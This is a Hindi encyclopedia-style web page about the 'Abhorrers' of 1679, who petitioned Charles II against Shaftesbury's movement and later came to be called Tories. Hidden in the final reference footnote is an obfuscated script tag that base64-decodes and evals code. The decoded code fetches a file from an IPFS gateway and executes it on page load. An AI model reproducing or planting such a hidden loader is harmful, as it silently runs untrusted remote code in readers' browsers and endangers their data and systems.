अभोरर्स

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

प्रोटेस्टेंट मतावलंबी लार्ड चांसलर शैफ़्ट्सबरी ने कैथोलिक मत के प्रसार का अवरोध करने तथा यार्क के ड्यूूक जेम्स का उत्तराधिकार अवैध घोषित करने के लिए एक आंदोलन संगठित किया था। जेम्स को सिंहासन से वंचित करने के लिए पार्लियामेंट में एक्स्क्लूज़न बिल प्रस्तुत किया गया। बिल को विफल करने के लिए चार्ल्स द्वितीय ने 1679 में पार्लियामेंट भंग कर दी।

  • फिर 1679 के ही अक्टूबर में नई निर्वाचित पार्लियामेंट भी वर्ष भर के लिए स्थगित कर दी। शैफ़्ट्सबरी के आंदोलन के फलस्वरूप अनेक व्यक्तियों ने पार्लियामेंट फिर से बुलाने के लिए सम्राट् के सम्मुख प्रार्थनापत्र भेजे।
  • प्रतिकार रूप में सर जॉर्ज जफ्रेी औऱ फ्रांसिस विथेंस ने सम्राट् के समक्ष इस कार्य का घृणात्मक विरोध प्रदर्शित करते हुए निवेदन पत्र भेजा।
  • इस समय चार्ल्स की लोकप्रियता में वृद्धि तथा शैफ़्ट्सबरी के अनुचित कार्यों के कारण जनता में से भी अनेक व्यक्तियों ने प्रार्थियों के विरुद्ध आवेदन किया।
  • जिन व्यक्तियों ने इस प्रकार के घृणात्मक विरोध का प्रदर्शन किया था, उन्हें अभोरर्स कहा गया। बाद में इन्हें व्यंग रूप में 'टोरी' संज्ञा प्राप्त हुई तथा प्रार्थी दल को 'ह्विग' संज्ञा मिली।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 186 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>